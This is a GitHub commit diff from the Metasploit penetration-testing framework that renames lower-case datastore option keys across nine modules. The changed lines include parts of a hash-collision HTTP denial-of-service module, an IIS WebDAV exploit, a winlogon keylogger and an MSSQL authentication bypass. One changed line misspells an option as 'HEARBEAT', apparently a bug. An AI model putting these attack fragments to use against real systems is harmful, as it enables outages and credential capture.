Skip to content

Commit 93a69ea

Browse files
author
HD Moore
committed
Fix instances of invalid lower-case datastore use
1 parent 8b3d200 commit 93a69ea

File tree

9 files changed

+44
-43
lines changed

9 files changed

+44
-43
lines changed

modules/auxiliary/analyze/jtr_unshadow.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -31,15 +31,15 @@ def initialize
3131

3232
register_options(
3333
[
34-
OptPath.new('passwd', [true, 'The path to the passwd file']),
35-
OptPath.new('shadow', [true, 'The path to the shadow file']),
34+
OptPath.new('PASSWD_PATH', [true, 'The path to the passwd file']),
35+
OptPath.new('SHADOW_PATH', [true, 'The path to the shadow file']),
3636
OptAddress.new('IP', [true, 'The IP address if the host the shadow file came from']),
3737
], self.class)
3838
end
3939

4040
def run
4141

42-
unshadow = john_unshadow(datastore['passwd'],datastore['shadow'])
42+
unshadow = john_unshadow(datastore['PASSWD_PATH'],datastore['SHADOW_PATH'])
4343
if unshadow
4444
print_good(unshadow)
4545
filename= "#{datastore['IP']}_Linux_Hashes.txt"

modules/auxiliary/dos/http/hashcollision_dos.rb

Lines changed: 26 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -61,11 +61,11 @@ def initialize(info = {})
6161

6262
register_advanced_options(
6363
[
64-
OptInt.new('recursivemax', [false, "Maximum recursions when searching for collisionchars", 15]),
65-
OptInt.new('maxpayloadsize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
66-
OptInt.new('collisionchars', [false, "Number of colliding chars to find", 5]),
67-
OptInt.new('collisioncharlength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
68-
OptInt.new('payloadlength', [false, "Length of each parameter in the payload", 8])
64+
OptInt.new('RecursiveMax', [false, "Maximum recursions when searching for collisionchars", 15]),
65+
OptInt.new('MaxPayloadSize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
66+
OptInt.new('CollisionChars', [false, "Number of colliding chars to find", 5]),
67+
OptInt.new('CollisionCharLength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
68+
OptInt.new('PayloadLength', [false, "Length of each parameter in the payload", 8])
6969
], self.class)
7070
end
7171

@@ -77,12 +77,12 @@ def generate_payload
7777
collision_chars = compute_collision_chars
7878
return nil if collision_chars == nil
7979

80-
length = datastore['payloadlength']
80+
length = datastore['PayloadLength']
8181
size = collision_chars.length
8282
post = ""
8383
max_value_float = size ** length
8484
max_value_int = max_value_float.floor
85-
print_status("Generating POST data...")
85+
print_status("#{rhost}:#{rport} - Generating POST data...")
8686
for i in 0.upto(max_value_int)
8787
input_string = i.to_s(size)
8888
result = input_string.rjust(length, "0")
@@ -95,10 +95,10 @@ def generate_payload
9595
end
9696

9797
def compute_collision_chars
98-
print_status("Trying to find hashes...") if @recursive_counter == 1
98+
print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 1
9999
hashes = {}
100100
counter = 0
101-
length = datastore['collisioncharlength']
101+
length = datastore['CollisionCharLength']
102102
a = []
103103
for i in @char_range
104104
a << i.chr
@@ -123,25 +123,25 @@ def compute_collision_chars
123123
hashes[counter.to_s] = item
124124
counter = counter + 1
125125
end
126-
if counter >= datastore['collisionchars']
126+
if counter >= datastore['CollisionChars']
127127
break
128128
end
129129
end
130-
if counter < datastore['collisionchars']
130+
if counter < datastore['CollisionChars']
131131
# Try it again
132-
if @recursive_counter > datastore['recursivemax']
133-
print_error("Not enough values found. Please start this script again.")
132+
if @recursive_counter > datastore['RecursiveMax']
133+
print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
134134
return nil
135135
end
136-
print_status("#{@recursive_counter}: Not enough values found. Trying again...")
136+
print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
137137
@recursive_counter = @recursive_counter + 1
138138
hashes = compute_collision_chars
139139
else
140-
print_status("Found values:")
140+
print_status("#{rhost}:#{rport} - Found values:")
141141
hashes.each_value do |item|
142-
print_status("\tValue: #{item}\tHash: #{@function.call(item)}")
142+
print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")
143143
item.each_char do |c|
144-
print_status("\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
144+
print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
145145
end
146146
end
147147
end
@@ -174,32 +174,32 @@ def run
174174
when /PHP/
175175
@function = method(:djbx33a)
176176
@char_range = Range.new(0, 255)
177-
if (datastore['maxpayloadsize'] <= 0)
178-
datastore['maxpayloadsize'] = 8
177+
if (datastore['MaxPayloadSize'] <= 0)
178+
datastore['MaxPayloadSize'] = 8 # XXX: Refactor
179179
end
180180
when /Java/
181181
@function = method(:djbx31a)
182182
@char_range = Range.new(0, 128)
183-
if (datastore['maxpayloadsize'] <= 0)
184-
datastore['maxpayloadsize'] = 2
183+
if (datastore['MaxPayloadSize'] <= 0)
184+
datastore['MaxPayloadSize'] = 2 # XXX: Refactor
185185
end
186186
else
187187
raise RuntimeError, "Target #{datastore['TARGET']} not supported"
188188
end
189189

190-
print_status("Generating payload...")
190+
print_status("#{rhost}:#{rport} - Generating payload...")
191191
payload = generate_payload
192192
return if payload == nil
193193
# trim to maximum payload size (in MB)
194-
max_in_mb = datastore['maxpayloadsize']*1024*1024
194+
max_in_mb = datastore['MaxPayloadSize']*1024*1024
195195
payload = payload[0,max_in_mb]
196196
# remove last invalid(cut off) parameter
197197
position = payload.rindex("=&")
198198
payload = payload[0,position+1]
199-
print_status("Payload generated")
199+
print_status("#{rhost}:#{rport} -Payload generated")
200200

201201
for x in 1..datastore['RLIMIT']
202-
print_status("Sending request ##{x}...")
202+
print_status("#{rhost}:#{rport} - Sending request ##{x}...")
203203
opts = {
204204
'method' => 'POST',
205205
'uri' => datastore['URL'],
@@ -211,7 +211,7 @@ def run
211211
c.send_request(r)
212212
# Don't wait for a response, can take hours
213213
rescue ::Rex::ConnectionError => exception
214-
print_error("#{rhost}:#{rport} - unable to connect: '#{exception.message}'")
214+
print_error("#{rhost}:#{rport} - Unable to connect: '#{exception.message}'")
215215
return
216216
ensure
217217
disconnect(c) if c

modules/auxiliary/scanner/dect/call_scanner.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ def run
4949
@calls = {}
5050

5151
print_status("Opening interface: #{datastore['INTERFACE']}")
52-
print_status("Using band: #{datastore['band']}")
52+
print_status("Using band: #{datastore['BAND']}")
5353

5454
open_coa
5555

modules/auxiliary/scanner/dect/station_scanner.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def run
3939
@base_stations = {}
4040

4141
print_status("Opening interface: #{datastore['INTERFACE']}")
42-
print_status("Using band: #{datastore['band']}")
42+
print_status("Using band: #{datastore['BAND']}")
4343

4444
open_coa
4545

modules/encoders/x86/nonupper.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ def decoder_stub(state)
5454
def encode_block(state, block)
5555
begin
5656
newchar, state.key, state.decoder_key_size =
57-
Rex::Encoder::NonUpper::encode_byte(datastore['badchars'], block.unpack('C')[0], state.key, state.decoder_key_size)
57+
Rex::Encoder::NonUpper::encode_byte(datastore['BadChars'], block.unpack('C')[0], state.key, state.decoder_key_size)
5858
rescue RuntimeError => e
5959
# This is a bandaid to deal with the fact that, since it's in
6060
# the Rex namespace, the encoder itself doesn't have access to the

modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,8 @@ module only works against Windows 2000. It should have a
5252

5353
register_evasion_options(
5454
[
55-
OptBool.new('invalid_search_request', [false, 'Replace the valid XML search with random data', 'false']),
55+
# XXX: We don't have a style for module-local evasion settings yet, so use Advanced's formatting
56+
OptBool.new('InvalidSearchRequest', [false, 'Replace the valid XML search with random data', false]),
5657

5758
# XXX - ugh, there has to be a better way to remove entries from an
5859
# enum that overwriting the evalable enum option
@@ -133,7 +134,7 @@ def exploit
133134
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
134135
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
135136

136-
if datastore['invalid_search_request'] == true
137+
if datastore['InvalidSearchRequest'] == true
137138
xml = rand_text(rand(1024) + 32)
138139
end
139140

modules/post/multi/manage/system_session.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ def run
5252
cmd = ""
5353

5454
begin
55-
case datastore['type']
55+
case datastore['TYPE']
5656
when /auto/i
5757
cmd = auto_create_session(lhost,lport)
5858
when /ruby/i

modules/post/windows/capture/lockout_keylogger.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -174,14 +174,14 @@ def run
174174
end
175175

176176
mypid = session.sys.process.getpid
177-
if datastore['pid'] == 0
177+
if datastore['PID'] == 0
178178
targetpid = get_winlogon
179179
if targetpid == 'exit'
180180
return
181181
end
182182
print_status("Found WINLOGON at PID:#{targetpid}")
183183
else
184-
targetpid = datastore['pid']
184+
targetpid = datastore['PID']
185185
print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")
186186
end
187187

@@ -210,7 +210,7 @@ def run
210210

211211
print_good("Keylogging for #{client.info}")
212212
file_local_write(logfile,"#{client.info}\n")
213-
if datastore['wait'] then
213+
if datastore['WAIT'] then
214214
print_status("Waiting for user to lock out their session")
215215
locked = false
216216
while locked == false
@@ -225,9 +225,9 @@ def run
225225
else
226226
currentidle = session.ui.idle_time
227227
print_status("System has currently been idle for #{currentidle} seconds")
228-
while currentidle <= datastore['locktime'] do
228+
while currentidle <= datastore['LOCKTIME'] do
229229
print_status("Current Idle time: #{currentidle} seconds")
230-
select(nil,nil,nil,datastore['heartbeat'])
230+
select(nil,nil,nil,datastore['HEARBEAT'])
231231
currentidle = session.ui.idle_time
232232
end
233233
client.railgun.user32.LockWorkStation()
@@ -244,7 +244,7 @@ def run
244244
end
245245

246246
if startkeylogger(session)
247-
keycap(session, datastore['interval'], logfile)
247+
keycap(session, datastore['INTERVAL'], logfile)
248248
end
249249
end
250250
end

modules/post/windows/manage/mssql_local_auth_bypass.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,10 +42,10 @@ def initialize(info={})
4242
def run
4343

4444
# Set verbosity level
45-
verbose = datastore['verbose'].to_s.downcase
45+
verbose = datastore['VERBOSE'].to_s.downcase
4646

4747
# Set instance name (if specified)
48-
instance = datastore['instance'].to_s.upcase
48+
instance = datastore['INSTANCE'].to_s.upcase
4949

5050
# Display target
5151
print_status("Running module against #{sysinfo['Computer']}")

0 commit comments

Comments
 (0)